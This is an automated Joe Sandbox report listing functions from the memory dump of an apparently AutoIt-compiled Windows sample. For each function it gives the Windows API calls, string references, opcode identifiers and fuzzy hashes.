Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 7109615072055ffbe91d1d2e544eab1e83acc308384442d7d180fb0c1a386d1d
Instruction ID: 5f88eee6c59d5b2321d524da1f94323d812e535d0b589d1d8ba9aa8f068e8007
Opcode Fuzzy Hash: 7109615072055ffbe91d1d2e544eab1e83acc308384442d7d180fb0c1a386d1d
Instruction Fuzzy Hash: F4110D71689706BAE702BB559C83DAA6BDCDF15364B2000FBF900A62E2E7B45E409375

Function 00B8DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00B8DE42
gethostname.WSOCK32(?,00000100), ref: 00B8DE5C
gethostbyname.WSOCK32(?), ref: 00B8DE69
inet_ntoa.WSOCK32(?), ref: 00B8DEAB
_strcat.LIBCMT ref: 00B8DEB9
WSACleanup.WSOCK32 ref: 00B8DEDE

Strings

0.0.0.0, xrefs: 00B8DE87

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: abb9b259827141f6dad749b495aa497f437278b42f299b1ebd24f140cb9b7947
Instruction ID: 44992e8478ff234c85922c9a72429c186f7d3203c4bbeab0b599afc4ddb07a3d
Opcode Fuzzy Hash: abb9b259827141f6dad749b495aa497f437278b42f299b1ebd24f140cb9b7947
Instruction Fuzzy Hash: F011B471904115AFCF20BB649C4AEEE7BECDB15711F0001EAF5459B0A1EFB19A81DB60

Function 00B8ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00B8ED2A
_wcslen.LIBCMT ref: 00B8ED3B
_wcslen.LIBCMT ref: 00B8ED79
_wcslen.LIBCMT ref: 00B8EDAF
_wcslen.LIBCMT ref: 00B8EDDF
_wcslen.LIBCMT ref: 00B8EDEF
_wcslen.LIBCMT ref: 00B8EE2B
_wcslen.LIBCMT ref: 00B8EE5A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: a021ea6e25884b587c8badfc52c5242746667bbe81ef6470bd40c8eef6a330fb
Instruction ID: b9bd335920afd8f0f4961e73ffc5a66538feaf6afb9202996b4cddef083115fd
Opcode Fuzzy Hash: a021ea6e25884b587c8badfc52c5242746667bbe81ef6470bd40c8eef6a330fb
Instruction Fuzzy Hash: 2341A065C1021876CB11FBB4C88AACFB7E8AF45310F5084A6E528F3121FB34E755D3A6

Function 00B3F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B7682C,00000004,00000000,00000000), ref: 00B3F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00B7682C,00000004,00000000,00000000), ref: 00B7F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B7682C,00000004,00000000,00000000), ref: 00B7F454

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 8b8b7bf3fd34fe526ab38c542e6908e112703e1e92036eb1f556a69db94e0e1d
Instruction ID: b7e30e5db4fb86f2c4eef7757338a3898098d4477d2dacc75f9ccf590e1cbf6c
Opcode Fuzzy Hash: 8b8b7bf3fd34fe526ab38c542e6908e112703e1e92036eb1f556a69db94e0e1d
Instruction Fuzzy Hash: 6541EB31D04642BBC7398B2D88C877A7BD2EB56324F3486FCE05B57660DA71E880C715

Function 00BB2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00BB2D1B
GetDC.USER32(00000000), ref: 00BB2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BB2D2E
ReleaseDC.USER32(00000000,00000000), ref: 00BB2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00BB2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00BB2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00BB5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00BB2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00BB2DE1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 7a253d6cebfd6f7b229847bc2d729a26009e2f453e8de66b7a4aa077e1e889c1
Instruction ID: d2ffeb62cb0c445118db956426aea111e004096036855a4d1ad61ddbcee23048
Opcode Fuzzy Hash: 7a253d6cebfd6f7b229847bc2d729a26009e2f453e8de66b7a4aa077e1e889c1
Instruction Fuzzy Hash: 26315A72201214BBEB118F548C8AFFB3FA9EB49715F044165FE099B291CAB59C51CBA4

Function 00B85622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00B85637
_memcmp.LIBVCRUNTIME ref: 00B85659
_memcmp.LIBVCRUNTIME ref: 00B85671
_memcmp.LIBVCRUNTIME ref: 00B85684
_memcmp.LIBVCRUNTIME ref: 00B8569E
_memcmp.LIBVCRUNTIME ref: 00B856B1
_memcmp.LIBVCRUNTIME ref: 00B856C9
_memcmp.LIBVCRUNTIME ref: 00B856E4

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 80a99d5fe7339c24e059c5d02a565d45d2202f6cefbee1cc74984a8ce41a3408
Instruction ID: 3a3cc1d88eafed1d246820601e7ad47132985fc0d2a94a6dcecb982aa9e63b05
Opcode Fuzzy Hash: 80a99d5fe7339c24e059c5d02a565d45d2202f6cefbee1cc74984a8ce41a3408
Instruction Fuzzy Hash: 4F219561A50A0A77D6247D24CD82FFA23DCEE21394B4444E0FD049A5A1F761EE51D3A9

Function 00BA4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00BA5007
NULL Pointer assignment, xrefs: 00BA502E, 00BA5383

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: c75f8e1b9e2e48cd1aa1af047769bf45da3352384e0995f87cafb120f716ce8d
Instruction ID: dcc35ebb0d6aeeb23db95955d0902d8aef2abc00e853088ec3fe4c4f2f3e04a5
Opcode Fuzzy Hash: c75f8e1b9e2e48cd1aa1af047769bf45da3352384e0995f87cafb120f716ce8d
Instruction Fuzzy Hash: 71D1A371A0460AAFDF20CFA8C881BAEB7F5FF49344F1484A9E915AB281D770DE45CB50

Function 00B61522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00B615CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00B61651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B616E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00B616FB

Part of subcall function 00B53820: RtlAllocateHeap.NTDLL(00000000,?,00BF1444,?,00B3FDF5,?,?,00B2A976,00000010,00BF1440,00B213FC,?,00B213C6,?,00B21129), ref: 00B53852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B61777
__freea.LIBCMT ref: 00B617A2
__freea.LIBCMT ref: 00B617AE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: f9d722a63a76717387f2fbce301417b07add6061f1f1539b64845db5a47acf6a
Instruction ID: 063d04a5875e16602c4e38267e079280e5ceea6506f2711545c5e2a624a5282f
Opcode Fuzzy Hash: f9d722a63a76717387f2fbce301417b07add6061f1f1539b64845db5a47acf6a
Instruction Fuzzy Hash: 62919372E002169BDB208E78C891AFEBBF5EF59710F1C4A99E902E7151DB39DD44CB60

Function 00BA4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BA4648
VariantInit.OLEAUT32(?), ref: 00BA4749
VariantClear.OLEAUT32(?), ref: 00BA4753
VariantClear.OLEAUT32(?), ref: 00BA47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00BA472C
Null Object assignment in FOR..IN loop, xrefs: 00BA45D8, 00BA4706, 00BA47BE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: a866228c31818172ba2c2df9172952c80b5f807fd87e94fc914eeecdca0cff70
Instruction ID: 4911b5ca4b8634266cb13c2fd3eeb79eb1fafb750b913269636d9ca58898637d
Opcode Fuzzy Hash: a866228c31818172ba2c2df9172952c80b5f807fd87e94fc914eeecdca0cff70
Instruction Fuzzy Hash: AA919071A04215ABDF20CFA5D884FAEBBF8EF86710F108599F505AB281D7B09D45CFA0

Function 00B91187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00B9125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B91284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00B912A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B912D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B9135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B913C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B91430

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 1f87830b46bdd782debea53e2911e7a7d24ba92e749c99ea3fbf9296dd6d7e51
Instruction ID: 9efd7605d794ec9e390af70a134a1d7a9482886f787ae2e63178ab0f429ecd6e
Opcode Fuzzy Hash: 1f87830b46bdd782debea53e2911e7a7d24ba92e749c99ea3fbf9296dd6d7e51
Instruction Fuzzy Hash: 9D919D75A0021AAFDB009F98D885BBE77F5FF48314F1188A9E500EB391D774A941DB90

Function 00B3948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 742a9412f625b9effe81944f5c9b7fddd80d1206dd50e498f1105c6c802acdc0
Instruction ID: 2e05c67af5e8190950c094e7958d7437931a7fd49cc8df3539e787a6277af584
Opcode Fuzzy Hash: 742a9412f625b9effe81944f5c9b7fddd80d1206dd50e498f1105c6c802acdc0
Instruction Fuzzy Hash: BA912671D40219EFCB10CFA9C885AEEBBB8FF49320F258195E515B7251D7B4A982CB60

Function 00BA3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BA396B
CharUpperBuffW.USER32(?,?), ref: 00BA3A7A
_wcslen.LIBCMT ref: 00BA3A8A
VariantClear.OLEAUT32(?), ref: 00BA3C1F

Part of subcall function 00B90CDF: VariantInit.OLEAUT32(00000000), ref: 00B90D1F
Part of subcall function 00B90CDF: VariantCopy.OLEAUT32(?,?), ref: 00B90D28
Part of subcall function 00B90CDF: VariantClear.OLEAUT32(?), ref: 00B90D34

Strings

Incorrect Parameter format, xrefs: 00BA39A6, 00BA3BA1
AUTOIT.ERROR, xrefs: 00BA3A80, 00BA3A85

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 767e186d80dbfa5738f181a8d839b4db72ca36a8e923c9abf31ae205c2810581
Instruction ID: 261f0ceb342d07a43d2d1e0d4276272eec669ebc90bbcc3695e27d9e83431394
Opcode Fuzzy Hash: 767e186d80dbfa5738f181a8d839b4db72ca36a8e923c9abf31ae205c2810581
Instruction Fuzzy Hash: D9916B756083059FC704EF28C48096AB7E5FF89714F1489AEF88A9B351DB30EE45CB92

Function 00BA4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00B8000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?,?,00B8035E), ref: 00B8002B
Part of subcall function 00B8000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?), ref: 00B80046
Part of subcall function 00B8000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?), ref: 00B80054
Part of subcall function 00B8000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?), ref: 00B80064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00BA4C51
_wcslen.LIBCMT ref: 00BA4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00BA4DCF
CoTaskMemFree.OLE32(?), ref: 00BA4DDA

Strings

NULL Pointer assignment, xrefs: 00BA4E23, 00BA4E52

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: cd46a5e1e09e05dba4f62c9d08b7416db3c208ebd56560fb91da08eb58edb582
Instruction ID: fa0a546afa6eb91129c334512fa3f368376924ae163a8c321f2dd9d70861dc54
Opcode Fuzzy Hash: cd46a5e1e09e05dba4f62c9d08b7416db3c208ebd56560fb91da08eb58edb582
Instruction Fuzzy Hash: 52912871D0022D9FDF14DFA4D891AEEB7B8FF49310F1085A9E919A7251EB709A44CF60

Function 00BB20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00BB2183
GetMenuItemCount.USER32(00000000), ref: 00BB21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00BB21DD
_wcslen.LIBCMT ref: 00BB2213
GetMenuItemID.USER32(?,?), ref: 00BB224D
GetSubMenu.USER32(?,?), ref: 00BB225B

Part of subcall function 00B83A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B83A57
Part of subcall function 00B83A3D: GetCurrentThreadId.KERNEL32 ref: 00B83A5E
Part of subcall function 00B83A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B825B3), ref: 00B83A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00BB22E3

Part of subcall function 00B8E97B: Sleep.KERNEL32 ref: 00B8E9F3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 918f6b00afef0cdb211c4397264be3fc9fa3d8f5cf048392e852dd9729e4150f
Instruction ID: 7132c460351de74e2ebf864204e0ba786add49e382366aef683c062027059aa2
Opcode Fuzzy Hash: 918f6b00afef0cdb211c4397264be3fc9fa3d8f5cf048392e852dd9729e4150f
Instruction Fuzzy Hash: 64713F75A00215AFCB14DF68C885AFEBBF5EF48310F148499E916EB351DBB4ED418B90

Function 00BB7E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01095658), ref: 00BB7F37
IsWindowEnabled.USER32(01095658), ref: 00BB7F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00BB801E
SendMessageW.USER32(01095658,000000B0,?,?), ref: 00BB8051
IsDlgButtonChecked.USER32(?,?), ref: 00BB8089
GetWindowLongW.USER32(01095658,000000EC), ref: 00BB80AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00BB80C3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 99566d137adc217d2d7cb9614132a8851a2a5074ffdfbe432f160946426a0efc
Instruction ID: 43208d0af22e6128109564060f8e79bb26f0c2481bb265c5c502c8d2116b2052
Opcode Fuzzy Hash: 99566d137adc217d2d7cb9614132a8851a2a5074ffdfbe432f160946426a0efc
Instruction Fuzzy Hash: C071CF34648284AFEB21DF54C884FFABBF9EF49340F104499E946972A1CFB1A845CB54

Function 00B8AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B8AEF9
GetKeyboardState.USER32(?), ref: 00B8AF0E
SetKeyboardState.USER32(?), ref: 00B8AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00B8AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00B8AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00B8AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00B8B020

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 46cc57617b023fe1bb5bc3a554969cdffa1db121eaa25cb5e4e18fba460f7157
Instruction ID: 7af02a15a06813270208dd5c9d161e6f613280f0cc30c0b9ab3e9f4abb7980a8
Opcode Fuzzy Hash: 46cc57617b023fe1bb5bc3a554969cdffa1db121eaa25cb5e4e18fba460f7157
Instruction Fuzzy Hash: BD51F5A06043D13DFB36A2348C45FBABEE99B06304F0885CAE2D5858E2D7D8ACC4D751

Function 00B8ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00B8AD19
GetKeyboardState.USER32(?), ref: 00B8AD2E
SetKeyboardState.USER32(?), ref: 00B8AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00B8ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00B8ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00B8AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00B8AE38

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

